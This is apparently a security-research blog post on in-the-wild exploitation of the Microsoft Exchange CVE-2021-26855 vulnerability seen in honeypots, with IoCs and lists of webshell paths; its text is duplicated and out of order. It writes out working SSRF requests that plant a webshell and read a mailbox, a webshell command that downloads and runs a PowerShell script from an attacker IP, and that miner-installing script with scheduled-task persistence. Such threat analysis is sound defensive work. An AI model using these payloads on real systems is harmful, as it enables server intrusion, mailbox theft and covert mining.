GET /aspnet_client/error_page.aspx 885
GET /aspnet_client/system_web/error.aspx 883
GET /aspnet_client/UwSPMsFi.aspx 882
GET /aspnet_client/web.config.aspx 878
GET /aspnet_client/shellex.aspx 876
GET /aspnet_client/uHSPTWMG.aspx 873
GET /aspnet_client/help.aspx 868
GET /aspnet_client/load.aspx 865
GET /aspnet_client/zXkZu6bn.aspx 858
GET /aspnet_client/ogu7zFil.aspx 843
GET /owa/auth/shell.aspx 644
GET /owa/auth/web.aspx 643
GET /owa/auth/aspnet_client.aspx 639
GET /owa/auth/errorEEE.aspx 635
GET /owa/auth/27fib.aspx 627
GET /owa/auth/errorEE.aspx 625
GET /owa/auth/b.aspx 624
GET /owa/auth/aspnettest.aspx 621
GET /owa/auth/healthcheck.aspx 621
GET /owa/auth/t.aspx 620
GET /owa/auth/shellex.aspx 619
GET /owa/auth/wanlin.aspx 619
GET /owa/auth/aspnet_iisstart.aspx 619
GET /owa/auth/errorFF.aspx 615
GET /owa/auth/test.aspx 615
GET /owa/auth/document.aspx 614
GET /owa/auth/xx.aspx 613
GET /owa/auth/help.aspx 612
GET /owa/auth/evilcorp.aspx 611
GET /owa/auth/web.config.aspx 606
GET /owa/auth/error_page.aspx 605
GET /owa/auth/aspnet_www.aspx 603
GET /owa/auth/errorFE.aspx 601
GET /owa/auth/errorEW.aspx 597
GET /owa/auth/OutlookDA.aspx 288
GET /owa/auth/OutlookFR.aspx 208
GET /owa/auth/OutlookIT.aspx 187
GET /owa/auth/OutlookDE.aspx 186
GET /owa/auth/OutlookES.aspx 182
GET /owa/auth/expiredpassword.aspx 175
GET /owa/auth/OutlookPL.aspx 171
GET /owa/auth/OutlookAR.aspx 165
GET /owa/auth/OutlookSE.aspx 162
GET /owa/auth/logoff.aspx 150
GET /owa/auth/OutlookAS.aspx 146
GET /owa/auth/OutlookIO.aspx 144
GET /owa/auth/OutlookCN.aspx 111
GET /aspnet_client/Service.aspx 88
GET /aspnet_client/1d.aspx 88
GET /aspnet_client/Metabase.aspx 86
GET /aspnet_client/7KmCS.aspx 86
GET /aspnet_client/config.aspx 79
GET /aspnet_client/cafZCu.aspx 78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 77
GET /aspnet_client/MAlREnavuY.aspx 77
GET /aspnet_client/a.aspx 77
GET /aspnet_client/Default.aspx 76
GET /aspnet_client/ahihi.aspx 76
GET /aspnet_client/aa.aspx 76
GET /aspnet_client/aspnet_iistart.aspx 75
GET /aspnet_client/configs.aspx 74
GET /aspnet_client/aspnet.aspx 71
GET /aspnet_client/aspx_client.aspx 69
GET /aspnet_client/error404.aspx 67
GET /aspnet_client/bob.aspx 67
GET /aspnet_client/document.aspx 67
GET /aspnet_client/authhead.aspx 67
GET /aspnet_client/current/one1.aspx 63
GET /aspnet_client/client.aspx 63
GET /aspnet_client/erroree.aspx 63
GET /owa/auth/seclogon.aspx 61
GET /aspnet_client/upnews.aspx 60
GET /aspnet_client/errorff.aspx 60
GET /owa/auth/Current/themes/resources/system_io.aspx 60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 59
GET /aspnet_client/y3iGH.aspx 59
GET /owa/auth/Current/themes/resources/errorFE.aspx 59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 59
GET /aspnet_client/errorew.aspx 59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 59
GET /owa/auth/Current/themes/resources/View_tools.aspx 59
GET /owa/auth/6GIXZG.aspx 59
GET /aspnet_client/system_web/ogzsis0L.aspx 59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 59
GET /aspnet_client/errorpages.aspx 58
GET /aspnet_client/erroreee.aspx 58
GET /owa/auth/hmknq.aspx 57
GET /aspnet_client/system_web/4_0_30319/self.aspx 57
GET /owa/auth/DesktopShellExt.aspx 57
GET /aspnet_client/web.aspx 56
GET /aspnet_client/system_web/9VkFwtxt.aspx 56
GET /aspnet_client/default.aspx 56
GET /aspnet_client/soHKY.aspx 56
GET /aspnet_client/errorpage.aspx 56
GET /owa/auth/rlvgk.aspx 54
GET /owa/auth/logerr.aspx 54
GET /owa/auth/pzbwl.aspx 54
GET /owa/auth/owaauth.aspx 54
GET /aspnet_client/est11.aspx 54
GET /owa/auth/errorcheck.aspx 53
GET /owa/auth/Current/layout.aspx 52
GET /owa/auth/Current/themes/resources/logon.aspx 52
GET /owa/auth/CommonError.aspx 52
GET /owa/auth/Current/themes/config1.aspx 52
GET /owa/auth/ErrorDef.aspx 52
GET /owa/auth/iasads.aspx 51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 51
GET /owa/auth/061a06908b.aspx 50
GET /owa/auth/Current/zJBxcBoI.aspx 50
GET /owa/auth/errorew.aspx 50
GET /aspnet_client/help..aspx 50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 50
GET /owa/auth/rwinsta.aspx 50
GET /aspnet_client/t.aspx 50
GET /owa/auth/server.aspx 49
GET /owa/auth/erroreww.aspx 49
GET /aspnet_client/temp.aspx 49
GET /owa/auth/frow.aspx 49
GET /aspnet_client/test007.aspx 49
GET /owa/auth/fhsvc.aspx 49
GET /owa/auth/s.aspx 48
GET /owa/auth/errorpage.aspx 48
GET /aspnet_client/zEeomtdYcX.aspx 48
GET /owa/auth/session.aspx 48
GET /owa/auth/secauth.aspx 48
GET /owa/auth/Current/Exchanges.aspx 48
GET /owa/auth/erroree.aspx 48
GET /owa/auth/atlthunk.aspx 48
GET /aspnet_client/voqbETdoni.aspx 48
GET /owa/auth/secauth1.aspx 48
GET /owa/auth/online.aspx 48
GET /owa/auth/erroreee.aspx 48
GET /owa/auth/outlooken.aspx 48
GET /owa/auth/error.aspx 47
GET /owa/auth/ProximityService.aspx 47
GET /owa/auth/outlookfront.aspx 47
GET /owa/auth/proxylogon.aspx 47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 47
GET /owa/auth/ovfwHWjwWm.aspx 47
GET /owa/auth/qnx.aspx 47
GET /owa/auth/plorion.aspx 47
GET /aspnet_client/uyqITYBPew.aspx 47
GET /owa/auth/outlookru.aspx 47
GET /aspnet_client/show.aspx 47
GET /aspnet_client/fatal-erro.aspx 46
GET /owa/auth/errorfff.aspx 46
GET /owa/auth/KBDBENE.aspx 46
GET /owa/auth/OutlookUS.aspx 46
GET /aspnet_client/system.aspx 46
GET /owa/auth/login.aspx 46
GET /owa/auth/letmeinplzs.aspx 46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 46
GET /owa/auth/errorff.aspx 46
GET /owa/auth/redirsuiteserverproxy.aspx 45
GET /aspnet_client/signon.aspx 45
GET /aspnet_client/healthcheck.aspx 45
GET /aspnet_client/login.aspx 45
GET /owa/auth/ntprint.aspx 45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 44
GET /aspnet_client/qfmrucnzl.aspx 44
GET /owa/auth/errorpages.aspx 44
GET /owa/auth/XblGameSave.aspx 44
GET /owa/auth/OutlookDN.aspx 44
GET /aspnet_client/obq.aspx 44
GET /owa/auth/load.aspx 44
GET /aspnet_client/logaaa.aspx 44
GET /owa/auth/discover.aspx 43
GET /owa/auth/outlookjp.aspx 43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 42
GET /aspnet_client/shel90.aspx 42
GET /aspnet_client/support.aspx 42
GET /owa/auth/HcDKNzBoha.aspx 41
GET /owa/auth/multiup.aspx 41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 40
GET /owa/auth/outlookzh.aspx 40
GET /owa/auth/HUUPItrNpXvI.aspx 40
GET /owa/auth/dbuj9.aspx 40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 40
GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 39
GET /owa/auth/sol.aspx 39
GET /owa/auth/httpproxy.aspx 39
GET /owa/auth/XboxNetApiSvc.aspx 39
GET /owa/auth/supp0rt.aspx 39
GET /aspnet_client/one.aspx 39
GET /owa/auth/signon.aspx 38
GET /aspnet_client/outlookjp.aspx 38
GET /owa/auth/OutlookEN.US.aspx 38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 38
GET /owa/auth/OutlookUN.aspx 37
GET /owa/auth/aa.aspx 36
GET /owa/auth/aaa.aspx 36
GET /owa/auth/iispage.aspx 36
GET /aspnet_client/redirsuiteserverproxy.aspx 36
GET /owa/auth/shelltest.aspx 35
GET /owa/auth/system_web/log.aspx 35
GET /owa/auth/aspx_client.aspx 35
GET /owa/auth/tst1.aspx 35
GET /owa/auth/tpmvscmgrsvr.aspx 35
GET /aspnet_client/online.aspx 34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 34
GET /owa/auth/aspnet.aspx 34
GET /aspnet_client/outlookru.aspx 34
GET /aspnet_client/outlookzh.aspx 34
GET /aspnet_client/outlookfront.aspx 34
GET /aspnet_client/shel.aspx 33
GET /aspnet_client/logg.aspx 33
GET /owa/auth/asas.aspx 33
GET /aspnet_client/server.aspx 33
GET /owa/auth/tNLPge.aspx 32
GET /owa/auth/ahihi.aspx 32
GET /owa/auth/TimeoutLogout.aspx 32
GET /owa/auth/aspnet_pages.aspx 32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 32
GET /owa/auth/test13037.aspx 31
GET /aspnet_client/shel2.aspx 31
GET /aspnet_client/one1.aspx 31
GET /aspnet_client/httpproxy.aspx 31
GET /owa/auth/test1337.aspx 31
GET /owa/auth/signout.aspx 29
GET /aspnet_client/outlooken.aspx 28
GET /owa/auth/default1.aspx 28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 28
GET /aspnet_client/multiup.aspx 27
GET /aspnet_client/logout.aspx 27
GET /owa/auth/theme-vten8snn874b.aspx 25
GET /aspnet_client/error.aspx 8
GET /aspnet_client/errorFF.aspx 8
GET /aspnet_client/errorEE.aspx 8
GET /owa/auth/OutlookJP.aspx 6
GET /aspnet_client/errorEW.aspx 6
POST /aspnet_client/discover.aspx 5
GET /aspnet_client/errorEEE.aspx 5
POST /aspnet_client/system_web/logx2.aspx 4
GET /owa/auth/HttpProxy.aspx 4
GET /owa/auth/OutlookRU.aspx 4
GET /aspnet_client/system_web/sol.aspx 4
GET /aspnet_client/system_web/QBFjM1SC.aspx 4
GET /aspnet_client/OutlookJP.aspx 4
GET /aspnet_client/system_web/ioWYM7C4.aspx 4
GET /owa/auth/Online.aspx 4
GET /aspnet_client/MultiUp.aspx 4
GET /owa/auth/Logout.aspx 4
GET /aspnet_client/system_web/E12B65rm.aspx 4
GET /aspnet_client/system_web/vY4qLEpG.aspx 3
GET /aspnet_client/system_web/test.aspx 3
GET /aspnet_client/Online.aspx 3
GET /aspnet_client/system_web/3ue5myCq.aspx 3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 3
GET /aspnet_client/system_web/WFk2or3Y.aspx 3
GET /aspnet_client/system_web/GnCwADKH.aspx 3
GET /aspnet_client/rabiitch.aspx 3
GET /aspnet_client/system_web/Cs64LbPk.aspx 3
GET /aspnet_client/Logout.aspx 2
GET /owa/auth/WMSPDMOD.aspx 2
GET /aspnet_client/OutlookRU.aspx 2
GET /owa/auth/Discover.aspx 2
GET /aspnet_client/system_web/2TFGNswO.aspx 2
GET /aspnet_client/Discover.aspx 2
GET /owa/auth/checkerror635284.aspx 2
GET /owa/auth/MultiUp.aspx 2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 2
GET /aspnet_client/checkerror635284.aspx 2
GET /owa/auth/1d61acae91.aspx 2
GET /owa/auth/current/themes/resources/error.aspx 1
GET /aspnet_client/iisstart.aspx 1
GET /owa/auth/lo.aspx 1
GET /owa/auth/error404.aspx 1
</code></pre>
<h3 id="miscrosoftexchangeserverdistribution">Miscrosoft Exchange server distribution</h3>
<p>360 Quake cyberspace mapping system found a total of 3,378,260 data records for Microsoft Exchange servers by mapping assets across the network, including 534,590 independent IPs, as shown in the following figure.<br>
<a href="__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_en.png"><img src="__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_en.png" class="kg-image"/></a></p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360<br>
dot cn.</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>178.62.226.184
157.245.47.214
</code></pre>
<p>Miner Proxy:</p>
<pre><code>159.65.206.137:3333
</code></pre>
<p>URL:</p>
<pre><code>http://178.62.226.184/mini-reverse.ps1
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys
</code></pre>
<p>MD5:</p>
<pre><code>79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da
</code></pre>
<!--kg-card-end: markdown--> | Background
On March 2, 2021, Microsoft disclosed a remote code execution vulnerability in Microsoft Exchange server[1]。
We customized our Anglerfish honeypot to simulate and deploy Microsoft Exchange honeypot plug-in on March 3, and soon we started to see a large amount of related data, so far, we have already seen attacks attempting to implant Webshell, obtaiin mailbox information, and conducting XMRig based mining activities, we named it Tripleone.
On March 6, 2021, ProjectDiscovery and Microsoft CSS-Exchange project disclosed the vulnerability detection scripts [2][3]。
The remote code execution vulnerability exploitation for Microsoft Exchange servers are complex, generally speaking, it takes some time from PoC publication to real exploitation. Due to the possible impact of the vulnerability, this time the attackers move fast.
CVE-2021-26855 Webshell implantation
POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381
{"properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx"}}, "identity": {"DisplayName": "OAB (Default Web Site)", "__type": "Identity:ECP", "RawIdentity": "7280d03f-194a-4bf3-98a7-076e7728321d"}}
CVE-2021-26855 Obtaining mailbox information
POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>[email protected]</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
CVE-2021-26855 Mining attack
POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded
code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B
The attacker used http://178.62.226.184/run.ps1 to implant XMRig mining program, here is the detail
$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://178.62.226.184/config.json","C:\temp\111\config.json")
$WebClient.DownloadFile("http://178.62.226.184/javacpl.exe","C:\temp\111\javacpl.exe")
$WebClient.DownloadFile("http://178.62.226.184/WinRing0x64.sys","C:\temp\111\WinRing0x64.sys")
Start-Process -Filepath "C:\temp\111\javacpl.exe"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "App2" -Description "Check"
}
else
{
Write-host "run"
}
Anglerfish Honeypot Data
From March 6, 2021, our Anglerfish honeypot system started to see Microsoft Exchange vulnerability (CVE-2021-26855) scans, as of a few days ago, the geographical distribution of the source IP address of the scan is as follows.
Most scans target port 443 (77.3%), followed by port 80 (11.3%), as follows.
The scan source IP ASNs (Autonomous System Numbers) are mainly from Linode, LLC, DiGiTALOCEAN-ASN and LeaseWeb Netherlands B.V., accounting for more than 50%, and the overall trend of the scan is as follows.
The scanned sources are from various countries around the world, with the United States accounting for the largest share, as shown below:
We can see from our data that the Top 5 scanner IPs account for 50% of all scanning behavior, with 159.89.95.163 leading the pack of 24%.
It appears that the attacker had been able to successfully exploit the vulnerability to implant Webshell, as shown in the following figure.
The attacker further implemented malicious attack operations through Webshell, such as implanting XMRig mining program, as shown in the following figure.
Part of the scan source IP rDNS SLD information
Here is a briefly analyzing of the rDNS information corresponding to the scan source IPs.
Webshell Analysis
We monitored a large number of Webshell path probing requests, we believe most of which were scans from security vendors and research organizations.
Known Webshell paths are shown below.
GET /aspnet_client/system_web/log.aspx 1682
GET /aspnet_client/OutlookEN.aspx 1660
GET /aspnet_client/HttpProxy.aspx 1643
GET /aspnet_client/aspnet_client.aspx 1613
GET /aspnet_client/discover.aspx 1583
GET /aspnet_client/supp0rt.aspx 1490
GET /owa/auth/OutlookEN.aspx 1464
GET /aspnet_client/aspnet_iisstart.aspx 1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 1441
GET /aspnet_client/Server.aspx 1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 1428
GET /owa/auth/logg.aspx 1416
GET /aspnet_client/xx.aspx 1412
GET /owa/auth/a.aspx 1403
GET /owa/auth/Current/themes/errorFS.aspx 1393
GET /owa/auth/errorPage.aspx 1373
GET /owa/auth/getpp.aspx 1367
GET /aspnet_client/aspnet_pages.aspx 1364
GET /owa/auth/default.aspx 1334
GET /owa/auth/fatal-erro.aspx 1326
GET /owa/auth/errorPages.aspx 1322
GET /owa/auth/log.aspx 1311
GET /owa/auth/shel90.aspx 1306
GET /owa/auth/Err0r.aspx 1303
GET /owa/auth/logout.aspx 1302
GET /aspnet_client/log3.aspx 1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 1285
GET /owa/auth/RedirSuiteServerProxy.aspx 1279
GET /aspnet_client/eror.aspx 1266
GET /aspnet_client/0QWYSEXe.aspx 1263
GET /owa/auth/current/one1.aspx 1260
GET /aspnet_client/session.aspx 1242
GET /aspnet_client/iispage.aspx 1213
GET /aspnet_client/system_web/logx2.aspx 1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 1207
GET /aspnet_client/log.aspx 1207
GET /aspnet_client/WlUtyY.aspx 1168
GET /aspnet_client/aspnet_www.aspx 1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 1164
GET /owa/auth/Current/app222.aspx 1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 1147
GET /owa/auth/ErrorAA.aspx 1089
GET /owa/auth/one.aspx 1079
GET /aspnet_client/errorcheck.aspx 1074
GET /owa/auth/one1.aspx 1072
GET /aspnet_client/system_web/logfe.aspx 1064
GET /owa/auth/zntwv.aspx 1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 1019
GET /owa/auth/shel.aspx 1016
GET /owa/auth/shel2.aspx 1011
GET /owa/auth/bob.aspx 1008
GET /owa/auth/OutlookZH.aspx 1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 1001
GET /owa/auth/authhead.aspx 1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 993
GET /aspnet_client/default1.aspx 984
GET /aspnet_client/system_web/logon.aspx 978
GET /aspnet_client/s.aspx 930
GET /aspnet_client/RedirSuiteServerProxy.aspx 927
GET /aspnet_client/8aUco9ZK.aspx 920
GET /aspnet_client/F48zhi6U.aspx 917
GET /aspnet_client/E3MsTjP8.aspx 915
GET /aspnet_client/Fc1b3WDP.aspx 915
GET /aspnet_client/2XJHwN19.aspx 907
GET /aspnet_client/0q1iS7mn.aspx 905
GET /aspnet_client/shell.aspx 901
GET /aspnet_client/McYhCzdb.aspx 898
GET /aspnet_client/sol.aspx 893
GET /aspnet_client/aspnettest.aspx 889
GET /aspnet_client/error_page.aspx 885
GET /aspnet_client/system_web/error.aspx 883
GET /aspnet_client/UwSPMsFi.aspx 882
GET /aspnet_client/web.config.aspx 878
GET /aspnet_client/shellex.aspx 876
GET /aspnet_client/uHSPTWMG.aspx 873
GET /aspnet_client/help.aspx 868
GET /aspnet_client/load.aspx 865
GET /aspnet_client/zXkZu6bn.aspx 858
GET /aspnet_client/ogu7zFil.aspx 843
GET /owa/auth/shell.aspx 644
GET /owa/auth/web.aspx 643
GET /owa/auth/aspnet_client.aspx 639
GET /owa/auth/errorEEE.aspx 635
GET /owa/auth/27fib.aspx 627
GET /owa/auth/errorEE.aspx 625
GET /owa/auth/b.aspx 624
GET /owa/auth/aspnettest.aspx 621
GET /owa/auth/healthcheck.aspx 621
GET /owa/auth/t.aspx 620
GET /owa/auth/shellex.aspx 619
GET /owa/auth/wanlin.aspx 619
GET /owa/auth/aspnet_iisstart.aspx 619
GET /owa/auth/errorFF.aspx 615
GET /owa/auth/test.aspx 615
GET /owa/auth/document.aspx 614
GET /owa/auth/xx.aspx 613
GET /owa/auth/help.aspx 612
GET /owa/auth/evilcorp.aspx 611
GET /owa/auth/web.config.aspx 606
GET /owa/auth/error_page.aspx 605
GET /owa/auth/aspnet_www.aspx 603
GET /owa/auth/errorFE.aspx 601
GET /owa/auth/errorEW.aspx 597
GET /owa/auth/OutlookDA.aspx 288
GET /owa/auth/OutlookFR.aspx 208
GET /owa/auth/OutlookIT.aspx 187
GET /owa/auth/OutlookDE.aspx 186
GET /owa/auth/OutlookES.aspx 182
GET /owa/auth/expiredpassword.aspx 175
GET /owa/auth/OutlookPL.aspx 171
GET /owa/auth/OutlookAR.aspx 165
GET /owa/auth/OutlookSE.aspx 162
GET /owa/auth/logoff.aspx 150
GET /owa/auth/OutlookAS.aspx 146
GET /owa/auth/OutlookIO.aspx 144
GET /owa/auth/OutlookCN.aspx 111
GET /aspnet_client/Service.aspx 88
GET /aspnet_client/1d.aspx 88
GET /aspnet_client/Metabase.aspx 86
GET /aspnet_client/7KmCS.aspx 86
GET /aspnet_client/config.aspx 79
GET /aspnet_client/cafZCu.aspx 78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 77
GET /aspnet_client/MAlREnavuY.aspx 77
GET /aspnet_client/a.aspx 77
GET /aspnet_client/Default.aspx 76
GET /aspnet_client/ahihi.aspx 76
GET /aspnet_client/aa.aspx 76
GET /aspnet_client/aspnet_iistart.aspx 75
GET /aspnet_client/configs.aspx 74
GET /aspnet_client/aspnet.aspx 71
GET /aspnet_client/aspx_client.aspx 69
GET /aspnet_client/error404.aspx 67
GET /aspnet_client/bob.aspx 67
GET /aspnet_client/document.aspx 67
GET /aspnet_client/authhead.aspx 67
GET /aspnet_client/current/one1.aspx 63
GET /aspnet_client/client.aspx 63
GET /aspnet_client/erroree.aspx 63
GET /owa/auth/seclogon.aspx 61
GET /aspnet_client/upnews.aspx 60
GET /aspnet_client/errorff.aspx 60
GET /owa/auth/Current/themes/resources/system_io.aspx 60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 59
GET /aspnet_client/y3iGH.aspx 59
GET /owa/auth/Current/themes/resources/errorFE.aspx 59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 59
GET /aspnet_client/errorew.aspx 59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 59
GET /owa/auth/Current/themes/resources/View_tools.aspx 59
GET /owa/auth/6GIXZG.aspx 59
GET /aspnet_client/system_web/ogzsis0L.aspx 59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 59
GET /aspnet_client/errorpages.aspx 58
GET /aspnet_client/erroreee.aspx 58
GET /owa/auth/hmknq.aspx 57
GET /aspnet_client/system_web/4_0_30319/self.aspx 57
GET /owa/auth/DesktopShellExt.aspx 57
GET /aspnet_client/web.aspx 56
GET /aspnet_client/system_web/9VkFwtxt.aspx 56
GET /aspnet_client/default.aspx 56
GET /aspnet_client/soHKY.aspx 56
GET /aspnet_client/errorpage.aspx 56
GET /owa/auth/rlvgk.aspx 54
GET /owa/auth/logerr.aspx 54
GET /owa/auth/pzbwl.aspx 54
GET /owa/auth/owaauth.aspx 54
GET /aspnet_client/est11.aspx 54
GET /owa/auth/errorcheck.aspx 53
GET /owa/auth/Current/layout.aspx 52
GET /owa/auth/Current/themes/resources/logon.aspx 52
GET /owa/auth/CommonError.aspx 52
GET /owa/auth/Current/themes/config1.aspx 52
GET /owa/auth/ErrorDef.aspx 52
GET /owa/auth/iasads.aspx 51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 51
GET /owa/auth/061a06908b.aspx 50
GET /owa/auth/Current/zJBxcBoI.aspx 50
GET /owa/auth/errorew.aspx 50
GET /aspnet_client/help..aspx 50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 50
GET /owa/auth/rwinsta.aspx 50
GET /aspnet_client/t.aspx 50
GET /owa/auth/server.aspx 49
GET /owa/auth/erroreww.aspx 49
GET /aspnet_client/temp.aspx 49
GET /owa/auth/frow.aspx 49
GET /aspnet_client/test007.aspx 49
GET /owa/auth/fhsvc.aspx 49
GET /owa/auth/s.aspx 48
GET /owa/auth/errorpage.aspx 48
GET /aspnet_client/zEeomtdYcX.aspx 48
GET /owa/auth/session.aspx 48
GET /owa/auth/secauth.aspx 48
GET /owa/auth/Current/Exchanges.aspx 48
GET /owa/auth/erroree.aspx 48
GET /owa/auth/atlthunk.aspx 48
GET /aspnet_client/voqbETdoni.aspx 48
GET /owa/auth/secauth1.aspx 48
GET /owa/auth/online.aspx 48
GET /owa/auth/erroreee.aspx 48
GET /owa/auth/outlooken.aspx 48
GET /owa/auth/error.aspx 47
GET /owa/auth/ProximityService.aspx 47
GET /owa/auth/outlookfront.aspx 47
GET /owa/auth/proxylogon.aspx 47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 47
GET /owa/auth/ovfwHWjwWm.aspx 47
GET /owa/auth/qnx.aspx 47
GET /owa/auth/plorion.aspx 47
GET /aspnet_client/uyqITYBPew.aspx 47
GET /owa/auth/outlookru.aspx 47
GET /aspnet_client/show.aspx 47
GET /aspnet_client/fatal-erro.aspx 46
GET /owa/auth/errorfff.aspx 46
GET /owa/auth/KBDBENE.aspx 46
GET /owa/auth/OutlookUS.aspx 46
GET /aspnet_client/system.aspx 46
GET /owa/auth/login.aspx 46
GET /owa/auth/letmeinplzs.aspx 46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 46
GET /owa/auth/errorff.aspx 46
GET /owa/auth/redirsuiteserverproxy.aspx 45
GET /aspnet_client/signon.aspx 45
GET /aspnet_client/healthcheck.aspx 45
GET /aspnet_client/login.aspx 45
GET /owa/auth/ntprint.aspx 45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 44
GET /aspnet_client/qfmrucnzl.aspx 44
GET /owa/auth/errorpages.aspx 44
GET /owa/auth/XblGameSave.aspx 44
GET /owa/auth/OutlookDN.aspx 44
GET /aspnet_client/obq.aspx 44
GET /owa/auth/load.aspx 44
GET /aspnet_client/logaaa.aspx 44
GET /owa/auth/discover.aspx 43
GET /owa/auth/outlookjp.aspx 43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 42
GET /aspnet_client/shel90.aspx 42
GET /aspnet_client/support.aspx 42
GET /owa/auth/HcDKNzBoha.aspx 41
GET /owa/auth/multiup.aspx 41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 40
GET /owa/auth/outlookzh.aspx 40
GET /owa/auth/HUUPItrNpXvI.aspx 40
GET /owa/auth/dbuj9.aspx 40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 40
